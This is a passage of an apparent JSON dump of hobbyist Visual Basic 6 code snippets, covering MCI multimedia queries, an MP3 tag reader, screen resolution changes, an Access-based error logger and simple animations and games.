called frmMain\n'Copier/Coller ces lignes dans une Form nommer frmMain\nOption Explicit\n'The Declaration for Handle the Error Event of Collection Plus\nDim WithEvents myCol As CollectionPlus\nPrivate Sub Form_Load()\n 'Initialize Collection\n Set myCol = New CollectionPlus\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Set myCol = Nothing\n Set frmMain = Nothing\n End\nEnd Sub\nPrivate Sub cmdTestCol_Click()\n 'The Add,Item,Remove and Count are same as Collection\n myCol.Add \"My Item\", \"My Key\" ' ,\"Before Key\",\"After Key\" [Optional]\n myCol.Add \"Second\"\n \n 'Verify my Items\n MsgBox \"Have Item 1 : \" + CStr(myCol.IfItemIsThere(1)) + vbCrLf + vbCrLf + _\n \"Have Key 'My Key' : \" + CStr(myCol.IfKeyIsThere(\"My Key\")) + vbCrLf + vbCrLf + _\n \"Have Item 3 : \" + CStr(myCol.IfItemIsThere(3)), _\n vbInformation + vbSystemModal, \"CollectionPlus\"\n \n 'An Error Event Occur (without Crash !)\n myCol.Remove 5\n \n 'This gonna Delete \"Second\" (Like Collection)\n myCol.RemoveKey \"\"\n \n 'Get Count\n MsgBox \"Collection Count: \" + CStr(myCol.Count), vbInformation + vbSystemModal, \"CollectionPlus\"\n \n 'Now Remove All Items\n myCol.RemoveAll\n \nEnd Sub\n'Error Event of CollectionPlus\nPrivate Sub myCol_Erreur(ByVal FunctionName As String, ByVal Number As Long, ByVal Description As String, ByVal DataError As String)\n MsgBox \"FunctionName: \" + FunctionName + vbCrLf + \"Number: \" + CStr(Number) + vbCrLf + _\n \"Description: \" + Description + vbCrLf + \"DataError: \" + DataError, _\n vbInformation + vbSystemModal, \"Error Event CollectionPlus !\"\nEnd Sub\n"},{"WorldId":1,"id":1900,"LineNumber":1,"line":"Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n'you can change the speed of the ball by changing the numbers after the + and - signs\nIf KeyCode = vbKeyF1 Then\nMsgBox (\"Created by Ben Doherty, jake-d@mindspring.com or http://www.mindspring.com/~jake-d/vb/\")\nEnd If\nIf KeyCode = vbKeyUp Then\nImage1.Top = Image1.Top - 30\nEnd If\nIf KeyCode = vbKeyDown Then\nImage1.Top = Image1.Top + 30\nEnd If\nIf KeyCode = vbKeyLeft Then\nImage1.Left = Image1.Left - 30\nEnd If\nIf KeyCode = vbKeyRight Then\nImage1.Left = Image1.Left + 30\nEnd If\nEnd Sub\n\nPrivate Sub Form_Load()\nEnd Sub\n"},{"WorldId":1,"id":1904,"LineNumber":1,"line":"Private Sub cmdSpellCheck_Click()\n 'On Error Resume Next 'Best to un-comment this while testing\n Dim objMsWord As Word.Application\n Dim strTemp As String\n Set objMsWord = CreateObject(\"Word.Application\")\n objMsWord.WordBasic.FileNew\n objMsWord.WordBasic.Insert txtMessage.Text \n objMsWord.WordBasic.ToolsSpelling\n objMsWord.WordBasic.EditSelectAll\n objMsWord.WordBasic.SetDocumentVar \"MyVar\", objMsWord.WordBasic.Selection\n objMsWord.Visible = False ' Mostly prevents Word from being shown\n strTemp = objMsWord.WordBasic.GetDocumentVar(\"MyVar\")\n txtMessage.Text = Left(strTemp, Len(strTemp) - 1)\n \n objMsWord.Documents.Close (0) ' Close file without saving\n objMsWord.Quit ' Exit Word\n Set objMsWord = Nothing ' Clear object memory\n frmMain.SetFocus ' Return focus to Main form \nEnd Sub\n"},{"WorldId":1,"id":1910,"LineNumber":1,"line":"' code for saving into a .txt file\n' put into a button\nopen \"path and filename\" for append as 1\n' example C:\\demo.txt\nprint #1, text1.text\nclose 1"},{"WorldId":1,"id":1912,"LineNumber":1,"line":"Public Function SetIcon(FormhWnd As Long)\nDim x, i As Long\n i = ExtractIcon(0, \"c:\\SomeDll.DLL\", 3)\n 'In this case you will extract the 3rd icon from SomeDll.DLL. In this\n 'way you can extract any icon you want, just by reffering to the icon\n '(number) of the icon you want to extract in the dll. If you want to \n 'know the iconnumbers of a dll, you will have to use a recource editor\n '(like Borland Recource Workshop). You can also extract the Icon Handle\n 'of a .ico file just by using some code like:\n 'i=ExtractIcon(0,\"c:\\SomeIconFile.ico\",0)\n 'where SomeIconFile is the name of the icon you want to use.\n 'Now finally set the icon in the title bar of the window\n x = DefWindowProc(FormhWnd, WM_SETICON, &H1, i)\nEnd Function\n"},{"WorldId":1,"id":1917,"LineNumber":1,"line":"Private Sub Command1_Click()\n'NOTE: Some of the routines below obviously do not\n'apply to an AVI, such as \"Can Eject\", but the routines\n'within this code applies ALL multimedia (WAV, MIDI, AVI,\n'CD Audio, Scanner, DAT, etc...)\nDim mssg As String * 255\nDim Rslt As String\nRslt = \"Capabilities of this AVI file:\" & vbCrLf & vbCrLf\n'We must \"open\" the AVI file first\n ComStr = \"open c:\\shut.avi type avivideo alias video1\"\n x% = mciSendString(ComStr, 0&, 0, 0&)\n'---Can it be played?\nx% = mciSendString(\"capability video1 can play\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can be played\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot be played\" & vbCrLf\nEnd If\n'---Does it have audio?\nx% = mciSendString(\"capability video1 has audio\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Has audio\" & vbCrLf\nElse\n Rslt = Rslt & \"- Has no audio\" & vbCrLf\nEnd If\n \n'---Does it have video?\nx% = mciSendString(\"capability video1 has audio\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Has video\" & vbCrLf\nElse\n Rslt = Rslt & \"- Has no video\" & vbCrLf\nEnd If\n'---Can it be played in reverse?\nx% = mciSendString(\"capability video1 can reverse\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can reverse\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot reverse\" & vbCrLf\nEnd If\n'---Can it be stretched?\nx% = mciSendString(\"capability video1 can stretch\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can stretch\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot stretch\" & vbCrLf\nEnd If\n'---Can it record?\nx% = mciSendString(\"capability video1 can record\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can record\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot record\" & vbCrLf\nEnd If\n'---Can it eject?\nx% = mciSendString(\"capability video1 can eject\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can eject\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot eject\" & vbCrLf\nEnd If\n'---Compound Device?\nx% = mciSendString(\"capability video1 compound device\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Compound device = TRUE\" & vbCrLf\nElse\n Rslt = Rslt & \"- Compound device = FALSE\" & vbCrLf\nEnd If\n'---Uses file(s)?\nx% = mciSendString(\"capability video1 uses files\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Uses file(s)\" & vbCrLf\nElse\n Rslt = Rslt & \"- Does not use file(s)\" & vbCrLf\nEnd If\n'---Does this use palettes?\nx% = mciSendString(\"capability video1 uses palettes\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Uses palettes\" & vbCrLf\nElse\n Rslt = Rslt & \"- Does not use palettes\" & vbCrLf\nEnd If\n'---Can it save?\nx% = mciSendString(\"capability video1 can save\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can be saved\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot be saved\" & vbCrLf\nEnd If\n'Close the AVI file\nx% = mciSendString(\"close video1\", 0&, 0, 0&)\n \n \n MsgBox Rslt, , \"Results\"\nEnd Sub\n"},{"WorldId":1,"id":1920,"LineNumber":1,"line":"Private Sub Form_Unload(Cancel As Integer)\n If Me.WindowState <> 0 Then\n Me.WindowState = 0\n End If\nCancel = -1\nDim HeightOfStartMenu As Long\nDim Speed As Long\nDim StartAt As Long\nFor I = 1 To 999 '// The start menu never uses a HWND higher than 1000\n z$ = Space$(128)\n \n Y = GetClassName(I, z$, 128)\n X = Left$(z$, Y)\n \n If LCase(X) = \"shell_traywnd\" Then\n GoTo JumpOut:\n End If\n \nNext I\nJumpOut:\nGetWindowRect I, What\n'// Get the top pos of the Start Menu\nHeightOfStartMenu = What.Top * 15\nIf HeightOfStartMenu <= 0 Then\nHeightOfStartMenu = Screen.Height\n'// If some smart guy moves the start-menu, to say\n'// the top, left or right bounce at the bottom of\n'// the screen\nEnd If\n'// Turn the value into twips (more commonly used)\nStartAt = HeightOfStartMenu - 4000\nIf StartAt < Me.Top Then\nStartAt = Me.Top\n'// This code prevents the form from bouncing\n'// higher than itself (not logical, the start menu isn't made\n'// of rubber you now)\nEnd If\n'// How many \"bounces?\"\nSpeed = 100\n'// How fast should this go?\nMe.Height = 0\nMe.Width = 4000\nGoAgain:\nDo Until Me.Top >= HeightOfStartMenu\nDoEvents\nMe.Top = Me.Top + Speed\nMe.Left = Me.Left + 15 '<--- Remove the \" ' \" to make the window bounce sideways!\nLoop\nDo Until Me.Top <= StartAt\nDoEvents\nMe.Top = Me.Top - Speed\nMe.Left = Me.Left + 15 '<--- Remove the \" ' \" to make the window bounce sideways!\nLoop\nIf StartAt >= 10000 And Me.Top >= HeightOfStartMenu Then\n Do Until Me.Top >= HeightOfStartMenu + 15000\n Me.Top = Me.Top + Speed\n \n Loop\n \nEnd\nExit Sub\nEnd If\nStartAt = StartAt + 1000\nSpeed = Speed - 5\n'// Decrease speed with 5 after each \"bounce\",\n'// You can change the value all ya want :)\nIf Speed <= 0 Then\nSpeed = 5\n'// If the Speed value gets under zero i will\n'// automatically turn into 5 (cause if it don't\n'// It will stop or do something crazy\nEnd If\n\nGoTo GoAgain:\nEnd Sub\n\n"},{"WorldId":1,"id":1921,"LineNumber":1,"line":"Private Sub AddWord_Click()\nSaveSetting \"Dictionary\", \"Definitions\", AddName, AddDefine 'Saves Your Entry In The Registry\nAddName = \"\"\nAddDefine = \"\"\nMsgBox (\"Entry Saved\")\nEnd Sub\nPrivate Sub LookUp_Click()\nLabel3.Caption = Word & \" Means:\"\ndefinition = GetSetting(\"Dictionary\", \"Definitions\", Word) 'Gets the entry from the registry\nIf definition = \"\" Then definition = \"No Entry Found\" 'if no entry found then it tells you\nEnd Sub\n"},{"WorldId":1,"id":1938,"LineNumber":1,"line":"Private Declare Function mciSendString Lib \"winmm.dll\" Alias _\n \"mciSendStringA\" (ByVal lpstrCommand As String, ByVal _\n lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal _\n hwndCallback As Long) As Long\n\n\nPrivate Sub Command1_Click()\ni = mciSendString(\"open new type waveaudio alias capture\", 0&, 0, 0)\n \ni = mciSendString(\"set capture bitspersample 8\", 0&, 0, 0)\ni = mciSendString(\"set capture samplespersec 11025\", 0&, 0, 0)\n \ni = mciSendString(\"set capture channels 1\", 0&, 0, 0)\n \ni = mciSendString(\"record capture\", 0&, 0, 0)\n\n'bitspersample can be:\n' 8\n' 16\n'\n'samplespersec can be:\n' 11025\n' 22050\n' 44100\n'\n'channels can be:\n' 1 = mono\n' 2 = stereo\nEnd Sub\n\nPrivate Sub Command2_Click()\n i = mciSendString(\"stop capture\", 0&, 0, 0)\n i = mciSendString(\"save capture c:\\NewWave.wav\", 0&, 0, 0)\n' i = mciSendString(\"close capture\", 0&, 0, 0)\nEnd Sub\n\nPrivate Sub Command3_Click()\ni = mciSendString(\"play capture from 0\", 0&, 0, 0)\nEnd Sub\nPrivate Sub Form_Load()\nMe.Caption = \"WAVE RECORDER\"\nCommand1.Caption = \"Record\"\nCommand2.Caption = \"Stop\"\nCommand3.Caption = \"Play\"\nEnd Sub\n\nPrivate Sub Form_Unload(Cancel As Integer)\ni = mciSendString(\"close capture\", 0&, 0, 0)\nEnd Sub\n\n"},{"WorldId":1,"id":1941,"LineNumber":1,"line":"Option Explicit\n' Title: MP3 Snatch\n' Author: Leigh Bowers\n' Version: 2.0\n' Released: 1st June 1999\n' WWW: http://www.esheep.freeserve.co.uk/compulsion/index.html\n' Email: compulsion@esheep.freeserve.co.uk\n' News: Added \"Genre\" functionality (WinAMP compliant)\nPrivate sFilename As String\nPrivate Type Info\n sTitle As String * 30\n sArtist As String * 30\n sAlbum As String * 30\n sComment As String * 30\n sYear As String * 4\n sGenre As String * 21 ' NEW\nEnd Type\nPrivate MP3Info As Info\nPublic Property Get Filename() As String\n Filename = sFilename\nEnd Property\nPublic Property Let Filename(ByVal sPassFilename As String)\n Dim iFreefile As Integer\n Dim lFilePos As Long\n Dim sData As String * 128\n Dim sGenreMatrix As String\n Dim sGenre() As String\n \n ' Genre\n \n sGenreMatrix = \"Blues|Classic Rock|Country|Dance|Disco|Funk|Grunge|\" + _\n \"Hip-Hop|Jazz|Metal|New Age|Oldies|Other|Pop|R&B|Rap|Reggae|Rock|Techno|\" + _\n \"Industrial|Alternative|Ska|Death Metal|Pranks|Soundtrack|Euro-Techno|\" + _\n \"Ambient|Trip Hop|Vocal|Jazz+Funk|Fusion|Trance|Classical|Instrumental|Acid|\" + _\n \"House|Game|Sound Clip|Gospel|Noise|Alt. Rock|Bass|Soul|Punk|Space|Meditative|\" + _\n \"Instrumental Pop|Instrumental Rock|Ethnic|Gothic|Darkwave|Techno-Industrial|Electronic|\" + _\n \"Pop-Folk|Eurodance|Dream|Southern Rock|Comedy|Cult|Gangsta Rap|Top 40|Christian Rap|\" + _\n \"Pop/Punk|Jungle|Native American|Cabaret|New Wave|Phychedelic|Rave|Showtunes|Trailer|\" + _\n \"Lo-Fi|Tribal|Acid Punk|Acid Jazz|Polka|Retro|Musical|Rock & Roll|Hard Rock|Folk|\" + _\n \"Folk/Rock|National Folk|Swing|Fast-Fusion|Bebob|Latin|Revival|Celtic|Blue Grass|\" + _\n \"Avantegarde|Gothic Rock|Progressive Rock|Psychedelic Rock|Symphonic Rock|Slow Rock|\" + _\n \"Big Band|Chorus|Easy Listening|Acoustic|Humour|Speech|Chanson|Opera|Chamber Music|\" + _\n \"Sonata|Symphony|Booty Bass|Primus|Porn Groove|Satire|Slow Jam|Club|Tango|Samba|Folklore|\" + _\n \"Ballad|power Ballad|Rhythmic Soul|Freestyle|Duet|Punk Rock|Drum Solo|A Capella|Euro-House|\" + _\n \"Dance Hall|Goa|Drum & Bass|Club-House|Hardcore|Terror|indie|Brit Pop|Negerpunk|Polsk Punk|\" + _\n \"Beat|Christian Gangsta Rap|Heavy Metal|Black Metal|Crossover|Comteporary Christian|\" + _\n \"Christian Rock|Merengue|Salsa|Trash Metal|Anime|JPop|Synth Pop\"\n \n ' Build the Genre array (VB6+ only)\n \n sGenre = Split(sGenreMatrix, \"|\")\n \n ' Store the filename (for \"Get Filename\" property)\n sFilename = sPassFilename\n \n ' Clear the info variables\n \n MP3Info.sTitle = \"\"\n MP3Info.sArtist = \"\"\n MP3Info.sAlbum = \"\"\n MP3Info.sYear = \"\"\n MP3Info.sComment = \"\"\n \n ' Ensure the MP3 file exists\n \n If Dir(sFilename) = \"\" Then Exit Property\n \n ' Retrieve the info data from the MP3\n \n iFreefile = FreeFile\n lFilePos = FileLen(sFilename) - 127\n Open sFilename For Binary As #iFreefile\n Get #iFreefile, lFilePos, sData\n Close #iFreefile\n \n ' Populate the info variables\n \n If Left(sData, 3) = \"TAG\" Then\n MP3Info.sTitle = Mid(sData, 4, 30)\n MP3Info.sArtist = Mid(sData, 34, 30)\n MP3Info.sAlbum = Mid(sData, 64, 30)\n MP3Info.sYear = Mid(sData, 94, 4)\n MP3Info.sComment = Mid(sData, 98, 30)\n MP3Info.sGenre = sGenre(Asc(Mid(sData, 128, 1)))\n End If\n \nEnd Property\nPublic Property Get Title() As String\n Title = RTrim(MP3Info.sTitle)\nEnd Property\nPublic Property Get Artist() As String\n Artist = RTrim(MP3Info.sArtist)\nEnd Property\nPublic Property Get Genre() As String\n Genre = RTrim(MP3Info.sGenre)\nEnd Property\nPublic Property Get Album() As String\n Album = RTrim(MP3Info.sAlbum)\nEnd Property\nPublic Property Get Year() As String\n Year = MP3Info.sYear\nEnd Property\nPublic Property Get Comment() As String\n Comment = RTrim(MP3Info.sComment)\nEnd Property"},{"WorldId":1,"id":1943,"LineNumber":1,"line":"Function ChangeRes(Width As Single, Height As Single, BPP As Integer) As Integer\nOn Error GoTo ERROR_HANDLER\nDim DevM As DEVMODE, I As Integer, ReturnVal As Boolean, _\n RetValue, OldWidth As Single, OldHeight As Single, _\n OldBPP As Integer\n \n Call EnumDisplaySettings(0&, -1, DevM)\n OldWidth = DevM.dmPelsWidth\n OldHeight = DevM.dmPelsHeight\n OldBPP = DevM.dmBitsPerPel\n \n I = 0\n Do\n ReturnVal = EnumDisplaySettings(0&, I, DevM)\n I = I + 1\n Loop Until (ReturnVal = False)\n \n DevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT Or DM_BITSPERPEL\n DevM.dmPelsWidth = Width\n DevM.dmPelsHeight = Height\n DevM.dmBitsPerPel = BPP\n Call ChangeDisplaySettings(DevM, 1)\n RetValue = MsgBox(\"Do You Wish To Keep Your Screen Resolution To \" & Width & \"x\" & Height & \" - \" & BPP & \" BPP?\", vbQuestion + vbOKCancel, \"Change Resolution Confirm:\")\n If RetValue = vbCancel Then\n DevM.dmPelsWidth = OldWidth\n DevM.dmPelsHeight = OldHeight\n DevM.dmBitsPerPel = OldBPP\n Call ChangeDisplaySettings(DevM, 1)\n MsgBox \"Old Resolution(\" & OldWidth & \" x \" & OldHeight & \", \" & OldBPP & \" Bit) Successfully Restored!\", vbInformation + vbOKOnly, \"Resolution Confirm:\"\n ChangeRes = 0\n Else\n ChangeRes = 1\n End If\n Exit Function\nERROR_HANDLER:\n ChangeRes = 0\nEnd Function\n"},{"WorldId":1,"id":1948,"LineNumber":1,"line":"Private Sub Form_Load()\nForm1.Height = 4770\nForm1.Width = 5865\nForm1.BackColor = &H0\npic.BorderColor = &HFF&\npic.Top = 0\npic.Left = 0\nEnd Sub\nPrivate Sub Timer1_Timer()\nIf Timer1.Interval = 1 Then ' this is the code that\npic.Left = pic.Left - 40 ' makes the ball bounce\nIf pic.Left < -100 Then\nTimer1.Interval = 2\nBeep\nElse\npic.Left = pic.Left - 40\nEnd If\nEnd If\n\nIf Timer1.Interval = 2 Then\npic.Left = pic.Left + 40\nIf pic.Left > 4790 Then\nTimer1.Interval = 1\nBeep\nElse\npic.Left = pic.Left + 40\nEnd If\nEnd If\nEnd Sub\nPrivate Sub Timer2_Timer()\nIf Timer2.Interval = 1 Then\npic.Top = pic.Top - 40\nIf pic.Top = 0 Then\nTimer2.Interval = 2\nBeep\nElse\npic.Top = pic.Top - 40\nEnd If\nEnd If\nIf Timer2.Interval = 2 Then\npic.Top = pic.Top + 40\nIf pic.Top = 3480 Then\nTimer2.Interval = 1\nBeep\nElse\npic.Top = pic.Top + 40\nEnd If\nEnd If\nEnd Sub"},{"WorldId":1,"id":1950,"LineNumber":1,"line":"'* Created by Walker Brother (tm)\n'* web page : http://www.walkerbro.8m.com\n'* e-mail : info@walkerbro.8m.com\n'* This Module Logs the Errors your application may incounter into a MDB, if the MDB\n'* does not exist the it Creates it.\n'* It Creates a passworded MDB to stop other accessing your errors, you then can make\n'* a frontend to read your errors.\n'* Table Name : ErrList\n'* Field Name : ErrDate, ErrDes, ErrNum, ErrNotes, ErrUser '* 'Usage \n'* Error_Handler:\n'* Select Case Error_Handler_Doc(\"Name.mdb\", Now, 123, \"Description\", \"Notes\")\n'* Case \"True\" \n'* Case \"False\"\n'* End Select\n'* Load in \"References\" the \"Microsoft DAO 3.51 Object Library\"\n Dim NewDB As Database\n Dim ExistDB As Database\n Dim ExistRS As Recordset\n \nPublic Function Error_Handler_Doc(ByVal ErrMDB As String, ErrDate As Date, ErrNum As Long, ErrDes As String, ErrNote As String, Optional ErrUser As String) As Boolean\nSelect Case Error_Handler_MDB(ErrMDB)\n Case \"False\"\n If Error_Handler_Create(ErrMDB, \"!@#$\") = False Then\n Error_Handler_Doc = False\n Exit Function\n End If\nEnd Select\n Set ExistDB = OpenDatabase(\"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB, False, False, \";pwd=!@#$\")\n Set ExistRS = ExistDB.OpenRecordset(\"ErrList\", dbOpenDynaset)\n ExistRS.AddNew\n ExistRS.Fields!ErrNum = ErrNum & \"\"\n ExistRS.Fields!ErrDate = ErrDate & \"\"\n ExistRS.Fields!ErrDes = ErrDes & \"\"\n ExistRS.Fields!ErrNote = ErrNote & \"\"\n ExistRS.Fields!ErrUser = ErrUser & \"\"\n ExistRS.Update\n ExistRS.Close\n ExistDB.Close\n Set ExistRS = Nothing\n Set ExistDB = Nothing\n Error_Handler_Doc = True\nEnd Function\nPublic Function Error_Handler_MDB(ByVal ErrMDB As String) As Boolean\n On Error Resume Next\n Open \"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB For Input As #1\n If Err Then\n Error_Handler_MDB = False\n Exit Function\n End If\n Close #1\n Error_Handler_MDB = True\nEnd Function\nPublic Function Error_Handler_Create(ByVal ErrMDB As String, ByVal ErrMDBPassword As String) As Boolean\n Error_Handler_Create = False\n If CreateNewDirectory(\"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\") = False Then\n Exit Function\n End If\n On Error GoTo Err_Handler\n If ErrMDBPassword <> \"\" Then\n Set NewDB = Workspaces(0).CreateDatabase(\"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB, dbLangGeneral & \";pwd=\" & ErrMDBPassword)\n Else\n Set NewDB = Workspaces(0).CreateDatabase(\"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB, dbLangGeneral)\n End If\n 'Now call the functions for each table\n Dim b As Boolean\n b = Error_Handler_Err_List\n If b = False Then\n Error_Handler_Create = False\n NewDB.Close\n Set NewDB = Nothing\n Exit Function\n End If\n Error_Handler_Create = True\n SetAttr \"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB, vbHidden\n Exit Function\nErr_Handler:\n If Err.Number <> 0 Then\n Error_Handler_Create = False\n NewDB.Close\n Set NewDB = Nothing\n Exit Function\n End If\nEnd Function\nPublic Function Error_Handler_Err_List() As Boolean\n Dim TempTDef As TableDef\n Dim TempField As Field\n Dim TempIdx As Index\n Error_Handler_Err_List = False\n On Error GoTo Err_Handler\n \n Set TempTDef = NewDB.CreateTableDef(\"ErrList\")\n Set TempField = TempTDef.CreateField(\"ErrDate\", 8)\n TempField.Attributes = 1\n TempField.Required = False\n TempField.OrdinalPosition = 0\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n \n Set TempField = TempTDef.CreateField(\"ErrNum\", 4)\n TempField.Attributes = 1\n TempField.Required = False\n TempField.OrdinalPosition = 1\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n \n Set TempField = TempTDef.CreateField(\"ErrDes\", 12)\n TempField.Attributes = 2\n TempField.Required = False\n TempField.OrdinalPosition = 2\n TempField.AllowZeroLength = False\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n \n Set TempField = TempTDef.CreateField(\"ErrNote\", 12)\n TempField.Attributes = 2\n TempField.Required = False\n TempField.OrdinalPosition = 3\n TempField.AllowZeroLength = False\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n \n Set TempField = TempTDef.CreateField(\"ErrUser\", 10)\n TempField.Attributes = 2\n TempField.Required = False\n TempField.OrdinalPosition = 4\n TempField.Size = 50\n TempField.AllowZeroLength = True\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n NewDB.TableDefs.Append TempTDef\n NewDB.TableDefs.Refresh\n 'Done, Close the objects\n Set TempTDef = Nothing\n Set TempField = Nothing\n Set TempIdx = Nothing\n Error_Handler_Err_List = True\n Exit Function\nErr_Handler:\n If Err.Number <> 0 Then\n Set TempTDef = Nothing\n Set TempField = Nothing\n Set TempIdx = Nothing\n Error_Handler_Err_List = False\n Exit Function\n End If\nEnd Function\nPublic Function CreateNewDirectory(ByVal NewDirectory As String) As Boolean\n Dim sDirTest As String\n Dim SecAttrib As SECURITY_ATTRIBUTES\n Dim bSuccess As Boolean\n Dim sPath As String\n Dim iCounter As Integer\n Dim sTempDir As String\n Dim iFlag As Integer\n On Error GoTo ErrorCreate\n iFlag = 0\n sPath = NewDirectory\n If Right(sPath, Len(sPath)) <> \"\\\" Then\n sPath = sPath & \"\\\"\n End If\n iCounter = 1\n Do Until InStr(iCounter, sPath, \"\\\") = 0\n iCounter = InStr(iCounter, sPath, \"\\\")\n sTempDir = Left(sPath, iCounter)\n sDirTest = Dir(sTempDir)\n iCounter = iCounter + 1\n 'create directory\n SecAttrib.lpSecurityDescriptor = &O0\n SecAttrib.bInheritHandle = False\n SecAttrib.nLength = Len(SecAttrib)\n bSuccess = CreateDirectory(sTempDir, SecAttrib)\n Loop\n CreateNewDirectory = True\n Exit Function\nErrorCreate:\n CreateNewDirectory = False\n Resume 0\nEnd Function\n' 'Usage\n' Select Case Error_Handler_Doc(\"Name.mdb\", Now, 123, \"Description\", \"Notes\")\n' Case \"True\"\n' Case \"False\"\n' End Select\n"},{"WorldId":1,"id":1958,"LineNumber":1,"line":"'first just start a new program, and insert a timer named timer1! \n'Then set it's interval to 1! That's it!\nDim starX(0 To 100) As Double 'holds the X coords for the stars\nDim starY(0 To 100) As Double 'holds the Y coords for the stars\nDim starDist(0 To 100) As Double 'holds the size the stars should be\nDim starSpeed As Double 'holds the speed of the star field\nDim formMidX As Double 'holds the center X coord for the form\nDim formMidY As Double 'holds the center Y coord for the form\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\n'end when the user presses a key\nEnd\nEnd Sub\nPrivate Sub Form_Load()\n'initialize the random number generator\nRandomize\nForm1.BackColor = &H0&\nForm1.ForeColor = &HFFFFFF\nForm1.FillColor = &HFFFFFF\nForm1.FillStyle = 0\nForm1.DrawWidth = 2\n'the middle x and y coords of the form\nformMidX = (Form1.Width / 2) 'set the center x axis of the form\nformMidY = (Form1.Height / 2) 'set the center y axis of the form\n'initialize the arrays\nFor X = 0 To 100\n \n 'loops to check that the star is not in the exact center of the screen\n Do\n 'set the stars (x,y) coords to random places\n starX(X) = Int(Rnd * Form1.Width)\n starY(X) = Int(Rnd * Form1.Height)\n starDist(X) = Int(Rnd * 5)\n Loop While (starX(X) = formMidY And starY(Y) = formMidY)\n \n 'the size of each star\n starDist(X) = 0\nNext X\n'set the speed at which the stars are moving\nstarSpeed = 0.025\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'set the 0,0 lines for the x&y axis at the mouse co-ords.\nformMidX = X\nformMidY = Y\nEnd Sub\nPrivate Sub Timer1_Timer()\n'loop for each star\nFor X = 0 To 100\n \n 'set the fill color to black\n Form1.FillColor = Form1.BackColor\n 'this circle draws a black star over the star's last location\n Circle (starX(X), starY(X)), starDist(X), BackColor\n \n 'add 1 to the star distance (size of the star)\n starDist(X) = starDist(X) + 0.1\n \n 'determine in which direction the star should be moving on the x axis\n If starX(X) > (formMidX) Then\n starX(X) = starX(X) + Int(Abs(formMidX - starX(X)) * starSpeed) * (starDist(X) * 0.2)\n Else\n starX(X) = starX(X) - Int(Abs(formMidX - starX(X)) * starSpeed) * (starDist(X) * 0.2)\n End If\n 'determine in which direction the star should be moving on the y axis\n If starY(X) > (formMidY) Then\n starY(X) = starY(X) + Int(Abs(formMidY - starY(X)) * starSpeed) * (starDist(X) * 0.2)\n Else\n starY(X) = starY(X) - Int(Abs(formMidY - starY(X)) * starSpeed) * (starDist(X) * 0.2)\n End If\n \n 'see if the star has left the edge of the screen\n If starX(X) > Form1.Width Or starX(X) < 0 Or starY(X) > Form1.Height Or starY(X) < 0 Then\n 'loops to check that the star is not in the exact center of the screen\n Do\n 'set the stars (x,y) coords to random places\n starX(X) = Int(Rnd * Form1.Width)\n starY(X) = Int(Rnd * Form1.Height)\n Loop While (starX(X) = formMidX Or starY(Y) = formMidY)\n \n starDist(X) = 1\n End If\n \n 'make sure that the star isn't getting too close\n 'like the user is holding the mouse over a star\n If starDist(X) > 30 Then\n starDist(X) = 1\n starX(X) = Int(Rnd * Form1.Width)\n starY(X) = Int(Rnd * Form1.Height)\n End If\n \n 'draw the star, setting the fill color to white\n Form1.FillColor = &HFFFFFF\n Circle (starX(X), starY(X)), starDist(X)\n \nNext X\nEnd Sub\n\n"},{"WorldId":1,"id":1963,"LineNumber":1,"line":"'add this to your form's code\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\n \n 'catch both \"Enter\" keys on keyboard\n If (KeyAscii = vbKeyReturn) Or (KeyAscii = vbKeySeparator) Then\n SendKeys \"{tab}\"\n End If\nEnd Sub"},{"WorldId":1,"id":1971,"LineNumber":1,"line":"Dim vmom As Integer 'holds the ball's vertical momentum\nDim hmom As Integer 'holds the ball's horizontal momentum\n\nPrivate Sub Form_Load()\n Randomize\n 'make the vertical and horizontal momentums random\n vmom = 100 + Int(Rnd * 200)\n hmom = 100 + Int(Rnd * 200)\nEnd Sub\n\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'move the paddle to the mouse's position\n Shape1.Left = X - (Shape1.Width / 2)\nEnd Sub\n\nPrivate Sub Timer1_Timer()\n 'move the ball, based on the virtical and horizontal momenutm\n Shape2.Top = Shape2.Top + vmom\n Shape2.Left = 